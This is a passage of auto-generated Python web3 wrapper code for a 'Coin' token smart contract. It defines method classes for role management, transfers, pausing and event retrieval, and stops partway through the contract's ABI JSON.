Union[bytes, str], tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (owner, spender, value, deadline, v, r, s) = self.validate_and_normalize_inputs( owner, spender, value, deadline, v, r, s) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(owner, spender, value, deadline, v, r, s).buildTransaction(tx_params.as_dict()) def estimate_gas(self, owner: str, spender: str, value: int, deadline: int, v: int, r: Union[bytes, str], s: Union[bytes, str], tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (owner, spender, value, deadline, v, r, s) = self.validate_and_normalize_inputs( owner, spender, value, deadline, v, r, s) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(owner, spender, value, deadline, v, r, s).estimateGas(tx_params.as_dict()) class RenounceRoleMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the renounceRole method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, role: Union[bytes, str], account: str): """Validate the inputs to the renounceRole method.""" self.validator.assert_valid( method_name='renounceRole', parameter_name='role', argument_value=role, ) self.validator.assert_valid( method_name='renounceRole', parameter_name='account', argument_value=account, ) account = self.validate_and_checksum_address(account) return (role, account) def call(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> None: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) self._underlying_method(role, account).call(tx_params.as_dict()) def send_transaction(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).transact(tx_params.as_dict()) def build_transaction(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).buildTransaction(tx_params.as_dict()) def estimate_gas(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).estimateGas(tx_params.as_dict()) class RevokeRoleMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the revokeRole method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, role: Union[bytes, str], account: str): """Validate the inputs to the revokeRole method.""" self.validator.assert_valid( method_name='revokeRole', parameter_name='role', argument_value=role, ) self.validator.assert_valid( method_name='revokeRole', parameter_name='account', argument_value=account, ) account = self.validate_and_checksum_address(account) return (role, account) def call(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> None: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) self._underlying_method(role, account).call(tx_params.as_dict()) def send_transaction(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).transact(tx_params.as_dict()) def build_transaction(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).buildTransaction(tx_params.as_dict()) def estimate_gas(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).estimateGas(tx_params.as_dict()) class SetContractUriMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the setContractURI method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, uri: str): """Validate the inputs to the setContractURI method.""" self.validator.assert_valid( method_name='setContractURI', parameter_name='_URI', argument_value=uri, ) return (uri) def call(self, uri: str, tx_params: Optional[TxParams] = None) -> None: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (uri) = self.validate_and_normalize_inputs(uri) tx_params = super().normalize_tx_params(tx_params) self._underlying_method(uri).call(tx_params.as_dict()) def send_transaction(self, uri: str, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (uri) = self.validate_and_normalize_inputs(uri) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(uri).transact(tx_params.as_dict()) def build_transaction(self, uri: str, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (uri) = self.validate_and_normalize_inputs(uri) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(uri).buildTransaction(tx_params.as_dict()) def estimate_gas(self, uri: str, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (uri) = self.validate_and_normalize_inputs(uri) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(uri).estimateGas(tx_params.as_dict()) class SetRestrictedTransferMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the setRestrictedTransfer method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, restricted_transfer: bool): """Validate the inputs to the setRestrictedTransfer method.""" self.validator.assert_valid( method_name='setRestrictedTransfer', parameter_name='_restrictedTransfer', argument_value=restricted_transfer, ) return (restricted_transfer) def call(self, restricted_transfer: bool, tx_params: Optional[TxParams] = None) -> None: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (restricted_transfer) = self.validate_and_normalize_inputs( restricted_transfer) tx_params = super().normalize_tx_params(tx_params) self._underlying_method(restricted_transfer).call(tx_params.as_dict()) def send_transaction(self, restricted_transfer: bool, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (restricted_transfer) = self.validate_and_normalize_inputs( restricted_transfer) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(restricted_transfer).transact(tx_params.as_dict()) def build_transaction(self, restricted_transfer: bool, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (restricted_transfer) = self.validate_and_normalize_inputs( restricted_transfer) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(restricted_transfer).buildTransaction(tx_params.as_dict()) def estimate_gas(self, restricted_transfer: bool, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (restricted_transfer) = self.validate_and_normalize_inputs( restricted_transfer) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(restricted_transfer).estimateGas(tx_params.as_dict()) class SupportsInterfaceMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the supportsInterface method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, interface_id: Union[bytes, str]): """Validate the inputs to the supportsInterface method.""" self.validator.assert_valid( method_name='supportsInterface', parameter_name='interfaceId', argument_value=interface_id, ) return (interface_id) def call(self, interface_id: Union[bytes, str], tx_params: Optional[TxParams] = None) -> bool: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (interface_id) = self.validate_and_normalize_inputs(interface_id) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method( interface_id).call(tx_params.as_dict()) return bool(returned) def send_transaction(self, interface_id: Union[bytes, str], tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (interface_id) = self.validate_and_normalize_inputs(interface_id) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(interface_id).transact(tx_params.as_dict()) def build_transaction(self, interface_id: Union[bytes, str], tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (interface_id) = self.validate_and_normalize_inputs(interface_id) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(interface_id).buildTransaction(tx_params.as_dict()) def estimate_gas(self, interface_id: Union[bytes, str], tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (interface_id) = self.validate_and_normalize_inputs(interface_id) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(interface_id).estimateGas(tx_params.as_dict()) class SymbolMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the symbol method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> str: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return str(returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class TotalSupplyMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the totalSupply method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> int: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return int(returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class TransferMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the transfer method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, recipient: str, amount: int): """Validate the inputs to the transfer method.""" self.validator.assert_valid( method_name='transfer', parameter_name='recipient', argument_value=recipient, ) recipient = self.validate_and_checksum_address(recipient) self.validator.assert_valid( method_name='transfer', parameter_name='amount', argument_value=amount, ) # safeguard against fractional inputs amount = int(amount) return (recipient, amount) def call(self, recipient: str, amount: int, tx_params: Optional[TxParams] = None) -> bool: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (recipient, amount) = self.validate_and_normalize_inputs(recipient, amount) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method( recipient, amount).call(tx_params.as_dict()) return bool(returned) def send_transaction(self, recipient: str, amount: int, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (recipient, amount) = self.validate_and_normalize_inputs(recipient, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(recipient, amount).transact(tx_params.as_dict()) def build_transaction(self, recipient: str, amount: int, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (recipient, amount) = self.validate_and_normalize_inputs(recipient, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(recipient, amount).buildTransaction(tx_params.as_dict()) def estimate_gas(self, recipient: str, amount: int, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (recipient, amount) = self.validate_and_normalize_inputs(recipient, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(recipient, amount).estimateGas(tx_params.as_dict()) class TransferFromMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the transferFrom method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, sender: str, recipient: str, amount: int): """Validate the inputs to the transferFrom method.""" self.validator.assert_valid( method_name='transferFrom', parameter_name='sender', argument_value=sender, ) sender = self.validate_and_checksum_address(sender) self.validator.assert_valid( method_name='transferFrom', parameter_name='recipient', argument_value=recipient, ) recipient = self.validate_and_checksum_address(recipient) self.validator.assert_valid( method_name='transferFrom', parameter_name='amount', argument_value=amount, ) # safeguard against fractional inputs amount = int(amount) return (sender, recipient, amount) def call(self, sender: str, recipient: str, amount: int, tx_params: Optional[TxParams] = None) -> bool: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (sender, recipient, amount) = self.validate_and_normalize_inputs( sender, recipient, amount) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method( sender, recipient, amount).call(tx_params.as_dict()) return bool(returned) def send_transaction(self, sender: str, recipient: str, amount: int, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (sender, recipient, amount) = self.validate_and_normalize_inputs( sender, recipient, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(sender, recipient, amount).transact(tx_params.as_dict()) def build_transaction(self, sender: str, recipient: str, amount: int, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (sender, recipient, amount) = self.validate_and_normalize_inputs( sender, recipient, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(sender, recipient, amount).buildTransaction(tx_params.as_dict()) def estimate_gas(self, sender: str, recipient: str, amount: int, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (sender, recipient, amount) = self.validate_and_normalize_inputs( sender, recipient, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(sender, recipient, amount).estimateGas(tx_params.as_dict()) class UnpauseMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the unpause method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> None: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) self._underlying_method().call(tx_params.as_dict()) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) # pylint: disable=too-many-public-methods,too-many-instance-attributes class Coin: """Wrapper class for Coin Solidity contract.""" default_admin_role: DefaultAdminRoleMethod """Constructor-initialized instance of :class:`DefaultAdminRoleMethod`. """ domain_separator: DomainSeparatorMethod """Constructor-initialized instance of :class:`DomainSeparatorMethod`. """ minter_role: MinterRoleMethod """Constructor-initialized instance of :class:`MinterRoleMethod`. """ pauser_role: PauserRoleMethod """Constructor-initialized instance of :class:`PauserRoleMethod`. """ transfer_role: TransferRoleMethod """Constructor-initialized instance of :class:`TransferRoleMethod`. """ contract_uri_: ContractUri_Method """Constructor-initialized instance of :class:`ContractUri_Method`. """ allowance: AllowanceMethod """Constructor-initialized instance of :class:`AllowanceMethod`. """ approve: ApproveMethod """Constructor-initialized instance of :class:`ApproveMethod`. """ balance_of: BalanceOfMethod """Constructor-initialized instance of :class:`BalanceOfMethod`. """ burn: BurnMethod """Constructor-initialized instance of :class:`BurnMethod`. """ burn_from: BurnFromMethod """Constructor-initialized instance of :class:`BurnFromMethod`. """ contract_uri: ContractUriMethod """Constructor-initialized instance of :class:`ContractUriMethod`. """ decimals: DecimalsMethod """Constructor-initialized instance of :class:`DecimalsMethod`. """ decrease_allowance: DecreaseAllowanceMethod """Constructor-initialized instance of :class:`DecreaseAllowanceMethod`. """ get_role_admin: GetRoleAdminMethod """Constructor-initialized instance of :class:`GetRoleAdminMethod`. """ get_role_member: GetRoleMemberMethod """Constructor-initialized instance of :class:`GetRoleMemberMethod`. """ get_role_member_count: GetRoleMemberCountMethod """Constructor-initialized instance of :class:`GetRoleMemberCountMethod`. """ grant_role: GrantRoleMethod """Constructor-initialized instance of :class:`GrantRoleMethod`. """ has_role: HasRoleMethod """Constructor-initialized instance of :class:`HasRoleMethod`. """ increase_allowance: IncreaseAllowanceMethod """Constructor-initialized instance of :class:`IncreaseAllowanceMethod`. """ is_restricted_transfer: IsRestrictedTransferMethod """Constructor-initialized instance of :class:`IsRestrictedTransferMethod`. """ is_trusted_forwarder: IsTrustedForwarderMethod """Constructor-initialized instance of :class:`IsTrustedForwarderMethod`. """ mint: MintMethod """Constructor-initialized instance of :class:`MintMethod`. """ name: NameMethod """Constructor-initialized instance of :class:`NameMethod`. """ nonces: NoncesMethod """Constructor-initialized instance of :class:`NoncesMethod`. """ pause: PauseMethod """Constructor-initialized instance of :class:`PauseMethod`. """ paused: PausedMethod """Constructor-initialized instance of :class:`PausedMethod`. """ permit: PermitMethod """Constructor-initialized instance of :class:`PermitMethod`. """ renounce_role: RenounceRoleMethod """Constructor-initialized instance of :class:`RenounceRoleMethod`. """ revoke_role: RevokeRoleMethod """Constructor-initialized instance of :class:`RevokeRoleMethod`. """ set_contract_uri: SetContractUriMethod """Constructor-initialized instance of :class:`SetContractUriMethod`. """ set_restricted_transfer: SetRestrictedTransferMethod """Constructor-initialized instance of :class:`SetRestrictedTransferMethod`. """ supports_interface: SupportsInterfaceMethod """Constructor-initialized instance of :class:`SupportsInterfaceMethod`. """ symbol: SymbolMethod """Constructor-initialized instance of :class:`SymbolMethod`. """ total_supply: TotalSupplyMethod """Constructor-initialized instance of :class:`TotalSupplyMethod`. """ transfer: TransferMethod """Constructor-initialized instance of :class:`TransferMethod`. """ transfer_from: TransferFromMethod """Constructor-initialized instance of :class:`TransferFromMethod`. """ unpause: UnpauseMethod """Constructor-initialized instance of :class:`UnpauseMethod`. """ def __init__( self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, validator: CoinValidator = None, ): """Get an instance of wrapper for smart contract. :param web3_or_provider: Either an instance of `web3.Web3`:code: or `web3.providers.base.BaseProvider`:code: :param contract_address: where the contract has been deployed :param validator: for validation of method inputs. """ # pylint: disable=too-many-statements self.contract_address = contract_address if not validator: validator = CoinValidator(web3_or_provider, contract_address) web3 = None if isinstance(web3_or_provider, BaseProvider): web3 = Web3(web3_or_provider) elif isinstance(web3_or_provider, Web3): web3 = web3_or_provider else: raise TypeError( "Expected parameter 'web3_or_provider' to be an instance of either" + " Web3 or BaseProvider" ) # if any middleware was imported, inject it try: MIDDLEWARE except NameError: pass else: try: for middleware in MIDDLEWARE: web3.middleware_onion.inject( middleware['function'], layer=middleware['layer'], ) except ValueError as value_error: if value_error.args == ("You can't add the same un-named instance twice",): pass self._web3_eth = web3.eth functions = self._web3_eth.contract(address=to_checksum_address( contract_address), abi=Coin.abi()).functions self.default_admin_role = DefaultAdminRoleMethod( web3_or_provider, contract_address, functions.DEFAULT_ADMIN_ROLE) self.domain_separator = DomainSeparatorMethod( web3_or_provider, contract_address, functions.DOMAIN_SEPARATOR) self.minter_role = MinterRoleMethod( web3_or_provider, contract_address, functions.MINTER_ROLE) self.pauser_role = PauserRoleMethod( web3_or_provider, contract_address, functions.PAUSER_ROLE) self.transfer_role = TransferRoleMethod( web3_or_provider, contract_address, functions.TRANSFER_ROLE) self.contract_uri_ = ContractUri_Method( web3_or_provider, contract_address, functions._contractURI) self.allowance = AllowanceMethod( web3_or_provider, contract_address, functions.allowance, validator) self.approve = ApproveMethod( web3_or_provider, contract_address, functions.approve, validator) self.balance_of = BalanceOfMethod( web3_or_provider, contract_address, functions.balanceOf, validator) self.burn = BurnMethod( web3_or_provider, contract_address, functions.burn, validator) self.burn_from = BurnFromMethod( web3_or_provider, contract_address, functions.burnFrom, validator) self.contract_uri = ContractUriMethod( web3_or_provider, contract_address, functions.contractURI) self.decimals = DecimalsMethod( web3_or_provider, contract_address, functions.decimals) self.decrease_allowance = DecreaseAllowanceMethod( web3_or_provider, contract_address, functions.decreaseAllowance, validator) self.get_role_admin = GetRoleAdminMethod( web3_or_provider, contract_address, functions.getRoleAdmin, validator) self.get_role_member = GetRoleMemberMethod( web3_or_provider, contract_address, functions.getRoleMember, validator) self.get_role_member_count = GetRoleMemberCountMethod( web3_or_provider, contract_address, functions.getRoleMemberCount, validator) self.grant_role = GrantRoleMethod( web3_or_provider, contract_address, functions.grantRole, validator) self.has_role = HasRoleMethod( web3_or_provider, contract_address, functions.hasRole, validator) self.increase_allowance = IncreaseAllowanceMethod( web3_or_provider, contract_address, functions.increaseAllowance, validator) self.is_restricted_transfer = IsRestrictedTransferMethod( web3_or_provider, contract_address, functions.isRestrictedTransfer) self.is_trusted_forwarder = IsTrustedForwarderMethod( web3_or_provider, contract_address, functions.isTrustedForwarder, validator) self.mint = MintMethod( web3_or_provider, contract_address, functions.mint, validator) self.name = NameMethod( web3_or_provider, contract_address, functions.name) self.nonces = NoncesMethod( web3_or_provider, contract_address, functions.nonces, validator) self.pause = PauseMethod( web3_or_provider, contract_address, functions.pause) self.paused = PausedMethod( web3_or_provider, contract_address, functions.paused) self.permit = PermitMethod( web3_or_provider, contract_address, functions.permit, validator) self.renounce_role = RenounceRoleMethod( web3_or_provider, contract_address, functions.renounceRole, validator) self.revoke_role = RevokeRoleMethod( web3_or_provider, contract_address, functions.revokeRole, validator) self.set_contract_uri = SetContractUriMethod( web3_or_provider, contract_address, functions.setContractURI, validator) self.set_restricted_transfer = SetRestrictedTransferMethod( web3_or_provider, contract_address, functions.setRestrictedTransfer, validator) self.supports_interface = SupportsInterfaceMethod( web3_or_provider, contract_address, functions.supportsInterface, validator) self.symbol = SymbolMethod( web3_or_provider, contract_address, functions.symbol) self.total_supply = TotalSupplyMethod( web3_or_provider, contract_address, functions.totalSupply) self.transfer = TransferMethod( web3_or_provider, contract_address, functions.transfer, validator) self.transfer_from = TransferFromMethod( web3_or_provider, contract_address, functions.transferFrom, validator) self.unpause = UnpauseMethod( web3_or_provider, contract_address, functions.unpause) def get_approval_event( self, tx_hash: Union[HexBytes, bytes] ) -> Tuple[AttributeDict]: """Get log entry for Approval event. :param tx_hash: hash of transaction emitting Approval event """ tx_receipt = self._web3_eth.getTransactionReceipt(tx_hash) return self._web3_eth.contract(address=to_checksum_address(self.contract_address), abi=Coin.abi()).events.Approval().processReceipt(tx_receipt) def get_paused_event( self, tx_hash: Union[HexBytes, bytes] ) -> Tuple[AttributeDict]: """Get log entry for Paused event. :param tx_hash: hash of transaction emitting Paused event """ tx_receipt = self._web3_eth.getTransactionReceipt(tx_hash) return self._web3_eth.contract(address=to_checksum_address(self.contract_address), abi=Coin.abi()).events.Paused().processReceipt(tx_receipt) def get_role_admin_changed_event( self, tx_hash: Union[HexBytes, bytes] ) -> Tuple[AttributeDict]: """Get log entry for RoleAdminChanged event. :param tx_hash: hash of transaction emitting RoleAdminChanged event """ tx_receipt = self._web3_eth.getTransactionReceipt(tx_hash) return self._web3_eth.contract(address=to_checksum_address(self.contract_address), abi=Coin.abi()).events.RoleAdminChanged().processReceipt(tx_receipt) def get_role_granted_event( self, tx_hash: Union[HexBytes, bytes] ) -> Tuple[AttributeDict]: """Get log entry for RoleGranted event. :param tx_hash: hash of transaction emitting RoleGranted event """ tx_receipt = self._web3_eth.getTransactionReceipt(tx_hash) return self._web3_eth.contract(address=to_checksum_address(self.contract_address), abi=Coin.abi()).events.RoleGranted().processReceipt(tx_receipt) def get_role_revoked_event( self, tx_hash: Union[HexBytes, bytes] ) -> Tuple[AttributeDict]: """Get log entry for RoleRevoked event. :param tx_hash: hash of transaction emitting RoleRevoked event """ tx_receipt = self._web3_eth.getTransactionReceipt(tx_hash) return self._web3_eth.contract(address=to_checksum_address(self.contract_address), abi=Coin.abi()).events.RoleRevoked().processReceipt(tx_receipt) def get_transfer_event( self, tx_hash: Union[HexBytes, bytes] ) -> Tuple[AttributeDict]: """Get log entry for Transfer event. :param tx_hash: hash of transaction emitting Transfer event """ tx_receipt = self._web3_eth.getTransactionReceipt(tx_hash) return self._web3_eth.contract(address=to_checksum_address(self.contract_address), abi=Coin.abi()).events.Transfer().processReceipt(tx_receipt) def get_unpaused_event( self, tx_hash: Union[HexBytes, bytes] ) -> Tuple[AttributeDict]: """Get log entry for Unpaused event. :param tx_hash: hash of transaction emitting Unpaused event """ tx_receipt = self._web3_eth.getTransactionReceipt(tx_hash) return self._web3_eth.contract(address=to_checksum_address(self.contract_address), abi=Coin.abi()).events.Unpaused().processReceipt(tx_receipt) @staticmethod def abi(): """Return the ABI to the underlying contract.""" return json.loads( '[{"inputs":[{"internalType":"address payable","name":"_controlCenter","type":"address"},{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"address","name":"_trustedForwarder","type":"address"},{"internalType":"string","name":"_uri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MINTER_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PAUSER_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRANSFER_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_contractURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":